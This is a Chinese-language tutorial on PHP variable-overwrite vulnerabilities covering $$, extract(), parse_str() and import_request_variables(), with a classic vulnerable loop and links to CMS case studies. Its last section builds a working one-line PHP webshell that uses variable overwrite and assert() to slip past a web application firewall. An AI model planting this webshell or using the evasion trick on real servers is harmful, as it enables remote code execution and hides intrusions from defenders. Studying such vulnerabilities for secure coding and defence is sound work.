一、發生條件:
函數使用不當($$、extract()、parse_str()、import_request_variables()等)
開啟全局變量
二、基礎了解:
1.$$定義
$$代表可變變量,就是說,一個變量的變量名可以動態的設置和使用。
舉個簡單例子:
變量a被定義成了字符串hello 而變量$a被定於成了字符串world!
但同時$a本身也是個變量
$$a就可以代表兩個含義$($a)和$(hello) 兩個變量
此時輸出的結果如圖:
2.extract()定義
extract()可以從數組中將變量導入到當前的符號表。
該函數使用數組鍵名作為變量名,使用數組鍵值作為變量值
語法結構:extract(array,extract_rules,prefix)
i.array為必選參數(此參數必須為數組型數據)
ii.extract_rules為可選參數,可選的值有:
● EXTR_OVERWRITE - 默認。如果有沖突,則覆蓋已有的變量。
● EXTR_SKIP - 如果有沖突,不覆蓋已有的變量。
● EXTR_PREFIX_SAME - 如果有沖突,在變量名前加上前綴 prefix。
● EXTR_PREFIX_ALL - 給所有變量名加上前綴 prefix。
● EXTR_PREFIX_INVALID - 僅在不合法或數字變量名前加上前綴 prefix。
● EXTR_IF_EXISTS - 僅在當前符號表中已有同名變量時,覆蓋它們的值。其它的都不處理。
● EXTR_PREFIX_IF_EXISTS - 僅在當前符號表中已有同名變量時,建立附加了前綴的變量名,其它的都不處理。
● EXTR_REFS - 將變量作為引用提取。導入的變量仍然引用了數組參數的值。
iii.prefix為可選參數(此參數暫不解釋)
舉個例子:
在開頭我們定義了一個數組d
然后我們使用extract()函數並將array參數填寫為數組d
此時數組d中的鍵名將當做新的變量名來創建一個新的變量,而新的變量的值即為在數組中對應的值。(注意如果之前有聲明過同一個變量,那么該變量將被覆蓋。如果之后才聲明將不會出現變量覆蓋的現象)
此時輸出結果為:
可以看到我們之前並未聲明過a、b、c變量,但是仍可輸出。
3.parse_str()定義:
把查詢字符串解析到變量中
語法:parse_str(string,array)
string為必選參數
array為可選參數
舉個例子
可以看到此函數將name和age初始化成了變量,且值為等號右邊的值
當array參數存在時:
4.import_request_varibles()定義
將 GET/POST/Cookie 變量導入到全局作用域中
此函數相當於開啟全局變量注冊
語法import_request_variables(string $types ,string $prefix )
第一個參數為必選
第二個參數為可選
例子:
import_request_variables("GPC")
使用此方法即可開啟對_POST、_GET、_COOKIE的全局變量注冊
當第二個參數存在時將會加上一個前綴
三、經典案例
1.經典$$變量覆蓋
foreach(array('_COOKIE','_POST','_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$$_key = addslashes($_value);
}
這是一段非常經典的$$注冊變量導致的變量覆蓋代碼,很多應用上都出現過
可以看出$_key為COOKIE POST GET中的參數
比如提交?a=1 則$_key的值為a
而下面的$$_key則會有$a的意思,結合起來就變成了$a = addslashes($_value)
這樣便會覆蓋原有的變量a的值
我們來運行一下:
可以看到變量a被我們覆蓋掉了
2.部分cms變量覆蓋案例:
MetInfo全局變量覆蓋另類突破防注入
http://www.weixianmanbu.com/article/84.html
齊博CMS變量覆蓋導致sql注入漏洞
http://bobao.360.cn/learning/detail/291.html
Destoon 20140530最新版超全局變量覆蓋導致的安全問題
http://0day5.com/archives/1855/
四、變量覆蓋玩出新花樣之一句話木馬bypass某狗
經過我們簡單的測試,我們可以了解到:當我們使用assert函數時,如果函數的參數是可控,那么某狗攔截。例如:assert($_POST[a])或者$a=$_POST[c];assert($a)這些都是攔截
但是如果我們只有assert($a)這一句時,我們發現他就不會進行攔截了
這就值得我們思考了,為什么這樣不會攔截呢?
我認為應該是某狗覺得這個變量a是不可控的,所以就認為這不是木馬
那如果這時我們在聯系一下變量覆蓋漏洞呢?
在這里我選用了上面的案例代碼
foreach(array('_COOKIE','_POST','_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$$_key = addslashes($_value);
}
}
把addslashes()刪掉 然后把代碼精簡下
foreach(array('_POST') as $_r){foreach($$_r as $_k => $_v) {$$_k = $_v;}}
最終代碼為
<?php foreach(array('_POST') as $_r){foreach($$_r as $_k => $_v) {$$_k = $_v;}};assert($a);?>
成功bypass